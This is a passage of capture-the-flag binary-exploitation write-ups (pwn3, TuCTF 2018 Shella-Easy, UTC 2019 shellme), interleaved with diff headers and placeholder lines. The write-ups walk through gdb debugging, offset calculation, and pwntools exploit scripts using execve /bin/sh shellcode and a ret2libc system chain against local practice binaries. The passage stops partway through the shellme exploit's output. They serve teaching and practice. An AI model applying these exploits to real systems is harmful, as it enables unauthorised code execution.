Now let's check out our payload:
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
→ python3 exploit.py
[+] Starting local process './pwn3': pid 218489
b'Take this, you might need it on your journey '
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe d4 │····│····│····│····│
00000130 94 ff │··│
00000132
Now let's use the following 2 lines to feed our payload into the binary:
target.sendline(payload)
target.interactive()
[ 192.168.0.18/24 ] [ /dev/pts/13 ] [binexp/2/pwn3]
→ python3 exploit.py
[+] Starting local process './pwn3': pid 524665
b'Take this, you might need it on your journey '
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 dc 50 │1·Ph│//sh│h/bi│n··P│
00000010 53 89 cc b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 27 │····│····│····│···'│
00000130 d7 ff │··│
00000132
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$cat flag.txt
flag{g0ttem_b0yz}
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './pwn3' stopped with exit code 0 (pid 524665)
[*] Got EOF while sending in interactive
And that's it! We have been able to print out the flag.
## Title
text
` ![]()
## Title
text
` ![]()

387
2/shella.md Normal file
View file

@ -0,0 +1,387 @@
# TuCTF 2018 Shella-Easy
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy
--2021-03-05 17:20:57-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy [following]
--2021-03-05 17:20:57-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/tu18_shellaeasy/shella-easy
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7404 (7.2K) [application/octet-stream]
Saving to: shella-easy
shella-easy 100%[============================================================================================================================================================================>] 7.23K --.-KB/s in 0s
2021-03-05 17:20:57 (20.9 MB/s) - shella-easy saved [7404/7404]
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ file shella-easy
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ chmod +X shella-easy
` ![]()
## Solution
First let's run the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ ./shella-easy
Yeah I'll have a 0xffa70630 with a side of fries thanks
yes
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ ./shella-easy
Yeah I'll have a 0xff94b1a0 with a side of fries thanks
no
Very similar to the previous challenge we did, the binary prints out some text with a memory address, and then asks us for some text input. Let's see what we can find in ghidra:
![](25.png)
Which gives us the following code:
undefined4 main(void)
{
char local_4c [64];
int local_c;
setvbuf(stdout,(char *)0x0,2,0x14);
setvbuf(stdin,(char *)0x0,2,0x14);
local_c = -0x35014542;
printf("Yeah I\'ll have a %p with a side of fries thanks\n",local_4c);
gets(local_4c);
if (local_c != -0x21524111) {
/* WARNING: Subroutine does not return */
exit(0);
}
return 0;
}
Here we see that our input text gets stored into the variable local_4c and gets passed through a gets() function, and we know that the gets call does not restrict user input, therefore we know we can do a buffer overflow thanks to it. The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
However, according to the decompiled code, the function exit is called, when this function is called, the ret instruction will not run in the context of this function, so we won't get code execution. So let's look at the assembly :
![](26.png)
08048539 e8 52 fe CALL gets char * gets(char * __s)
ff ff
0804853e 83 c4 04 ADD ESP,0x4
08048541 81 7d f8 CMP dword ptr [EBP + local_c],0xdeadbeef
ef be ad de
08048548 74 07 JZ LAB_08048551
0804854a 6a 00 PUSH 0x0
0804854c e8 4f fe CALL exit void exit(int __status)
ff ff
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
LAB_08048551 XREF[1]: 08048548(j)
08048551 b8 00 00 MOV EAX,0x0
00 00
08048556 8b 5d fc MOV EBX,dword ptr [EBP + local_8]
08048559 c9 LEAVE
0804855a c3 RET
Here we see that there is a check to see if the variable local_c is equal to 0xdeadbeef, and if it is, the function doesn't call exit(0), and we end up with our code execution. Now let's take a look at the stack layout in ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 08048556(R)
undefined4 Stack[-0xc]:4 local_c XREF[2]: 0804851b(W),
08048541(R)
undefined1 Stack[-0x4c]:1 local_4c XREF[2]: 08048522(*),
08048535(*)
main XREF[4]: Entry Point(*),
_start:080483f7(*), 08048630,
080486a0(*)
080484db 55 PUSH EBP
We see that the local_c variable is within range of our overflowing variable (local_4c) where we put our text in. So, now that we know that, we need to find out what the offset is between the memory address of our input and the memory address of the return address, to do so we use gdb:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ gdb ./shella-easy
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./shella-easy...
(No debugging symbols found in ./shella-easy)
gef➤ disas main
Dump of assembler code for function main:
0x080484db <+0>: push ebp
0x080484dc <+1>: mov ebp,esp
0x080484de <+3>: push ebx
0x080484df <+4>: sub esp,0x44
0x080484e2 <+7>: call 0x8048410 <__x86.get_pc_thunk.bx>
0x080484e7 <+12>: add ebx,0x1b19
0x080484ed <+18>: mov eax,DWORD PTR [ebx-0x4]
0x080484f3 <+24>: mov eax,DWORD PTR [eax]
0x080484f5 <+26>: push 0x14
0x080484f7 <+28>: push 0x2
0x080484f9 <+30>: push 0x0
0x080484fb <+32>: push eax
0x080484fc <+33>: call 0x80483c0
0x08048501 <+38>: add esp,0x10
0x08048504 <+41>: mov eax,DWORD PTR [ebx-0x8]
0x0804850a <+47>: mov eax,DWORD PTR [eax]
0x0804850c <+49>: push 0x14
0x0804850e <+51>: push 0x2
0x08048510 <+53>: push 0x0
0x08048512 <+55>: push eax
0x08048513 <+56>: call 0x80483c0
0x08048518 <+61>: add esp,0x10
0x0804851b <+64>: mov DWORD PTR [ebp-0x8],0xcafebabe
0x08048522 <+71>: lea eax,[ebp-0x48]
0x08048525 <+74>: push eax
0x08048526 <+75>: lea eax,[ebx-0x1a20]
0x0804852c <+81>: push eax
0x0804852d <+82>: call 0x8048380
0x08048532 <+87>: add esp,0x8
0x08048535 <+90>: lea eax,[ebp-0x48]
0x08048538 <+93>: push eax
0x08048539 <+94>: call 0x8048390
0x0804853e <+99>: add esp,0x4
0x08048541 <+102>: cmp DWORD PTR [ebp-0x8],0xdeadbeef
0x08048548 <+109>: je 0x8048551
0x0804854a <+111>: push 0x0
0x0804854c <+113>: call 0x80483a0
0x08048551 <+118>: mov eax,0x0
0x08048556 <+123>: mov ebx,DWORD PTR [ebp-0x4]
0x08048559 <+126>: leave
0x0804855a <+127>: ret
End of assembler dump.
Here we want to set a breakpoint after the gets call at +99:
gef➤ b *main+99
Breakpoint 1 at 0x804853e
gef➤ r
Starting program: /home/nothing/binexp/2/shella/shella-easy
Yeah I'll have a 0xffffd0a0 with a side of fries thanks
13371337
Breakpoint 1, 0x0804853e in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd0a0 → "13371337"
$ebx : 0x0804a000 → 0x08049f0c → 0x00000001
$ecx : 0xf7f90540 → 0xfbad208b
$edx : 0xfbad208b
$esp : 0xffffd09c → 0xffffd0a0 → "13371337"
$ebp : 0xffffd0e8 → 0x00000000
$esi : 0x1
$edi : 0x080483e0 → <_start+0> xor ebp, ebp
$eip : 0x0804853e → add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd09c│+0x0000: 0xffffd0a0 → "13371337" ← $esp
0xffffd0a0│+0x0004: "13371337"
0xffffd0a4│+0x0008: "1337"
0xffffd0a8│+0x000c: 0x00000000
0xffffd0ac│+0x0010: 0xf7dd8b82 → <__internal_atexit+66> add esp, 0x10
0xffffd0b0│+0x0014: 0xf7f903bc → 0xf7f919e0 → 0x00000000
0xffffd0b4│+0x0018: 0xffffffff
0xffffd0b8│+0x001c: 0x080483e0 → <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048535 lea eax, [ebp-0x48]
0x8048538 push eax
0x8048539 call 0x8048390
→ 0x804853e add esp, 0x4
0x8048541 cmp DWORD PTR [ebp-0x8], 0xdeadbeef
0x8048548 je 0x8048551
0x804854a push 0x0
0x804854c call 0x80483a0
0x8048551 mov eax, 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped 0x804853e in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804853e → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
After setting the breakpoint, we ran the binary, and then we passed a pattern that is easy to remember (13371337).Now that we hit our breakpoint, we want to know where is our pattern located:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffd0a0 - 0xffffd0a8 → "13371337"
gef➤ info frame
Stack level 0, frame at 0xffffd0f0:
eip = 0x804853e in main; saved eip = 0xf7dbfa0d
Arglist at 0xffffd0e8, args:
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
Saved registers:
ebx at 0xffffd0e4, ebp at 0xffffd0e8, eip at 0xffffd0ec
Here we see that our 13371337 pattern is located at **0xffffd0a0** and the return address is located at **0xffffd0ec** so let's calculate the offset:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/shella]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0xffffd0a0 - 0xffffd0ec )
'-0x4c'
And we see that we have a 0x4c offset between our input text and the return function. With this we can create our exploit using the shellcode we used for the previous challenge:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/shella]
→ vim exploit.py
from pwn import *
target = process('./shella-easy')
leak = target.recvline()
leak = leak.strip(b"Yeah I'll have a ")
leak = leak.strip(b" with a side of fries thanks\n")
Adr = int(leak, 16)
payload = b""
# http://shell-storm.org/shellcode/files/shellcode-827.php
payload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += b"\x00" * (0x40 - len(payload)) # Padding to the local_c variable
payload += p32(0xdeadbeef) #overwrite local_c with 0xdeadbeef
payload += b"\x00"*8 #padding to the return address
payload += p32(Adr) # Overwrite the return address to point to the start of our payload, where the shellcode is
#hexdump the payload:
print(hexdump(payload))
Here we can see our payload (shellcode + nullbytes to get to 0x40 + little endian deadbeef + 8 nullbytes + little endian leaked address):
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/shella]
→ python3 exploit.py
[+] Starting local process './shella-easy': pid 1269456
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 │1·Ph│//sh│h/bi│n··P│
00000010 53 89 e1 b0 0b cd 80 00 00 00 00 00 00 00 00 00 │S···│····│····│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000040 ef be ad de 00 00 00 00 00 00 00 00 10 0a 84 ff │····│····│····│····│
00000050
Now we send the payload to the binary file with the following 2 lines:
target.sendline(payload)
target.interactive()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
## Title
text
` ![]()
## Title
text
` ![]()

490
2/shme.md Normal file
View file

@ -0,0 +1,490 @@
# Utc 2019 shellme
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/libc6_2.27-3ubuntu1_i386.so
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/utc19_shellme/server
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ file server
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ chmod +x server
` ![]()
## Solution
First let's run pwn checksec on the binary file, and then execute it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ pwn checksec server; ./server
[*] '/home/nothing/binexp/2/shme/server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd2a2e0 | 00 00 00 00 00 00 00 00 |
0xffd2a2e8 | 00 00 00 00 00 00 00 00 |
0xffd2a2f0 | 00 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: here is some text
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd2a2e0 | 68 65 72 65 20 69 73 20 |
0xffd2a2e8 | 73 6f 6d 65 20 74 65 78 |
0xffd2a2f0 | 74 00 00 00 00 00 00 00 |
0xffd2a2f8 | 00 00 00 00 00 00 00 00 |
0xffd2a300 | ff ff ff ff ff ff ff ff |
0xffd2a308 | ff ff ff ff ff ff ff ff |
0xffd2a310 | 40 d5 f0 f7 00 a0 04 08 |
0xffd2a318 | 28 a3 d2 ff 8b 86 04 08 |
Return address: 0x0804868b
We see that we are dealing with a 32bit binary that has NX enabled, when we run the binary, and put in too much text we get the following:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd19e90 | 00 00 00 00 00 00 00 00 |
0xffd19e98 | 00 00 00 00 00 00 00 00 |
0xffd19ea0 | 00 00 00 00 00 00 00 00 |
0xffd19ea8 | 00 00 00 00 00 00 00 00 |
0xffd19eb0 | ff ff ff ff ff ff ff ff |
0xffd19eb8 | ff ff ff ff ff ff ff ff |
0xffd19ec0 | 40 75 ef f7 00 a0 04 08 |
0xffd19ec8 | d8 9e d1 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffd19e90 | 30 30 30 30 30 30 30 30 |
0xffd19e98 | 30 30 30 30 30 30 30 30 |
0xffd19ea0 | 30 30 30 30 30 30 30 30 |
0xffd19ea8 | 30 30 30 30 30 30 30 30 |
0xffd19eb0 | 30 30 30 30 30 30 30 30 |
0xffd19eb8 | 30 30 30 30 30 30 30 30 |
0xffd19ec0 | 30 30 30 30 30 30 30 30 |
0xffd19ec8 | 30 30 30 30 30 30 30 30 |
Return address: 0x30303030
[1] 1782143 segmentation fault (core dumped) ./server
So here we see that we can cause a seg fault when we put in too much text, now let's take a look at it from inside ghidra:
![](51.png)
Luckily this time the main function is actually called 'main' so it was easy to find, we get the following code:
undefined4 main(void)
{
undefined *puVar1;
puVar1 = &stack0x00000004;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
vuln(puVar1);
return 0;
}
Here we see a function called 'vuln' so let's take a look at it:
void vuln(void)
{
char local_3c [32];
undefined local_1c [20];
memset(local_3c,0,0x20);
memset(local_1c,0xff,0x10);
init_visualize(local_3c);
visualize(local_3c);
printf("Input some text: ");
gets(local_3c);
visualize(local_3c);
return;
}
Here we see that local_3c is initially set to be able to hold only 32 bytes of data, but then we see that it gets passed into a gets() call, and we know that gets calls are vulnerable to buffer overflows because it doesn't restrict our input at all. Plus since there is no stack canary, we can overwrite the return address and get code execution, so we let's set a breakpoint after the gets call, and see where our text input is stored in memory:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/shme]
→ gdb ./server
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./server...
(No debugging symbols found in ./server)
gef➤ disas vulnm
No symbol table is loaded. Use the "file" command.
gef➤ disas vuln
Dump of assembler code for function vuln:
0x080485b1 <+0>: push ebp
0x080485b2 <+1>: mov ebp,esp
0x080485b4 <+3>: push ebx
0x080485b5 <+4>: sub esp,0x34
0x080485b8 <+7>: call 0x80484c0 <__x86.get_pc_thunk.bx>
0x080485bd <+12>: add ebx,0x1a43
0x080485c3 <+18>: sub esp,0x4
0x080485c6 <+21>: push 0x20
0x080485c8 <+23>: push 0x0
0x080485ca <+25>: lea eax,[ebp-0x38]
0x080485cd <+28>: push eax
0x080485ce <+29>: call 0x8048440
0x080485d3 <+34>: add esp,0x10
0x080485d6 <+37>: sub esp,0x4
0x080485d9 <+40>: push 0x10
0x080485db <+42>: push 0xff
0x080485e0 <+47>: lea eax,[ebp-0x18]
0x080485e3 <+50>: push eax
0x080485e4 <+51>: call 0x8048440
0x080485e9 <+56>: add esp,0x10
0x080485ec <+59>: sub esp,0xc
0x080485ef <+62>: lea eax,[ebp-0x38]
0x080485f2 <+65>: push eax
0x080485f3 <+66>: call 0x804869e
0x080485f8 <+71>: add esp,0x10
0x080485fb <+74>: sub esp,0xc
0x080485fe <+77>: lea eax,[ebp-0x38]
0x08048601 <+80>: push eax
0x08048602 <+81>: call 0x80486e1
0x08048607 <+86>: add esp,0x10
0x0804860a <+89>: sub esp,0xc
0x0804860d <+92>: lea eax,[ebx-0x16dd]
0x08048613 <+98>: push eax
0x08048614 <+99>: call 0x80483f0
0x08048619 <+104>: add esp,0x10
0x0804861c <+107>: sub esp,0xc
0x0804861f <+110>: lea eax,[ebp-0x38]
0x08048622 <+113>: push eax
0x08048623 <+114>: call 0x8048400
0x08048628 <+119>: add esp,0x10
0x0804862b <+122>: sub esp,0xc
0x0804862e <+125>: lea eax,[ebp-0x38]
0x08048631 <+128>: push eax
0x08048632 <+129>: call 0x80486e1
0x08048637 <+134>: add esp,0x10
0x0804863a <+137>: nop
0x0804863b <+138>: mov ebx,DWORD PTR [ebp-0x4]
0x0804863e <+141>: leave
0x0804863f <+142>: ret
End of assembler dump.
gef➤ b *vuln+119
Breakpoint 1 at 0x8048628
gef➤ r
Starting program: /home/nothing/binexp/2/shme/server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffffd0a0 | 00 00 00 00 00 00 00 00 |
0xffffd0a8 | 00 00 00 00 00 00 00 00 |
0xffffd0b0 | 00 00 00 00 00 00 00 00 |
0xffffd0b8 | 00 00 00 00 00 00 00 00 |
0xffffd0c0 | ff ff ff ff ff ff ff ff |
0xffffd0c8 | ff ff ff ff ff ff ff ff |
0xffffd0d0 | 40 05 f9 f7 00 a0 04 08 |
0xffffd0d8 | e8 d0 ff ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: 13371337
Breakpoint 1, 0x08048628 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd0a0 → "13371337"
$ebx : 0x0804a000 → 0x08049f0c → 0x00000001
$ecx : 0xf7f90540 → 0xfbad208b
$edx : 0xfbad208b
$esp : 0xffffd090 → 0xffffd0a0 → "13371337"
$ebp : 0xffffd0d8 → 0xffffd0e8 → 0x00000000
$esi : 0x1
$edi : 0x08048470 → <_start+0> xor ebp, ebp
$eip : 0x08048628 → add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: 0xffffd0a0 → "13371337" ← $esp
0xffffd094│+0x0004: 0x000000ff
0xffffd098│+0x0008: 0x00000010
0xffffd09c│+0x000c: 0x080485bd → add ebx, 0x1a43
0xffffd0a0│+0x0010: "13371337"
0xffffd0a4│+0x0014: "1337"
0xffffd0a8│+0x0018: 0x00000000
0xffffd0ac│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804861f lea eax, [ebp-0x38]
0x8048622 push eax
0x8048623 call 0x8048400
→ 0x8048628 add esp, 0x10
0x804862b sub esp, 0xc
0x804862e lea eax, [ebp-0x38]
0x8048631 push eax
0x8048632 call 0x80486e1
0x8048637 add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server", stopped 0x8048628 in vuln (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048628 → vuln()
[#1] 0x804868b → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So what we did here was first disassemble the vuln function, set the breakpoint to be right after the gets call, and then run the binary, we gave it a simple pattern (13371337) and then we hit our breakpoint. So let's search for our pattern in memory, to determine the offset in between our input and the return address:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffd0a0 - 0xffffd0a8 → "13371337"
gef➤ info frame
Stack level 0, frame at 0xffffd0e0:
eip = 0x8048628 in vuln; saved eip = 0x804868b
called by frame at 0xffffd100
Arglist at 0xffffd0d8, args:
Locals at 0xffffd0d8, Previous frame's sp is 0xffffd0e0
Saved registers:
ebx at 0xffffd0d4, ebp at 0xffffd0d8, eip at 0xffffd0dc
Here we see that our input text is at **0xffffd0a0** and the return address is at **0xffffd0dc** So we can easily find the offset from a python3 shell:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0xffffd0a0 - 0xffffd0dc )
'-0x3c'
And here we see that we have a 0x3c bytes offset between our text input and the return address. The idea here is that we're going to call an instruction pointer, but what is it that we're going to call ? All we need is just 2 libc infoleaks, and it can become possible to identify the libc versions.
[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ objdump -D server | grep puts
08048410 <****puts@plt>:
8048704: e8 07 fd ff ff call 8048410 <****puts@plt>
8048716: e8 f5 fc ff ff call 8048410 <****puts@plt>
8048846: e8 c5 fb ff ff call 8048410 <****puts@plt>
8048881: e8 8a fb ff ff call 8048410 <****puts@plt>
` ****
[ 192.168.0.18/24 ] [ /dev/pts/27 ] [binexp/2/shme]
→ vim exploit.py
We're going to make use of guyinatuxedo's ['TheNight']() Python library:
import TheNight
from pwn import *
libc = ELF("libc6_2.27-3ubuntu1_i386.so")
target = process("./server")
elf = ELF('server')
payload = ""
payload += "0"*0x3c
payload += p32(elf.symbols["puts"])
payload += p32(elf.symbols["vuln"])
payload += p32(elf.got["puts"])
target.sendline(payload)
for i in range(0, 2):
print target.recvuntil("Return address:")
for i in range(0, 2):
print target.recvline()
leak0 = target.recvline()[0:4]
puts = u32(leak0)
libcBase = puts - libc.symbols["puts"]
print "libc base: " + hex(libcBase)
binshOffset = 0x17e0cf
payload1 = ""
payload1 += "0"*0x3c
payload1 += p32(libcBase + libc.symbols["system"])
payload1 += p32(0x30303030)
payload1 += p32(libcBase + binshOffset)
target.sendline(payload1)
target.interactive()
And when we run it:
[*] '/Hackery/utc/shelltime/libc6_2.27-3ubuntu1_i386.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/Hackery/utc/shelltime/server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba510 | 00 00 00 00 00 00 00 00 |
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | ff ff ff ff ff ff ff ff |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | c0 d5 ef f7 00 a0 04 08 |
0xffbba548 | 58 a5 bb ff 8b 86 04 08 |
Return address:
0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba510 | 30 30 30 30 30 30 30 30 |
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 10 84 04 08 |
Return address:
0x08048410
libc base: 0xf7d25000
[*] Switching to interactive mode
Legend: buff \x1b[32;1mMODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba518 | 00 00 00 00 00 00 00 00 |
0xffbba520 | 00 00 00 00 00 00 00 00 |
0xffbba528 | 00 00 00 00 00 00 00 00 |
0xffbba530 | 00 00 00 00 00 00 00 00 |
0xffbba538 | ff ff ff ff ff ff ff ff |
0xffbba540 | ff ff ff ff ff ff ff ff |
0xffbba548 | 00 00 00 00 30 30 30 30 |
0xffbba550 | 30 30 30 30 18 a0 04 08 |
Return address: 0x0804a018
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffbba518 | 30 30 30 30 30 30 30 30 |
0xffbba520 | 30 30 30 30 30 30 30 30 |
0xffbba528 | 30 30 30 30 30 30 30 30 |
0xffbba530 | 30 30 30 30 30 30 30 30 |
0xffbba538 | 30 30 30 30 30 30 30 30 |
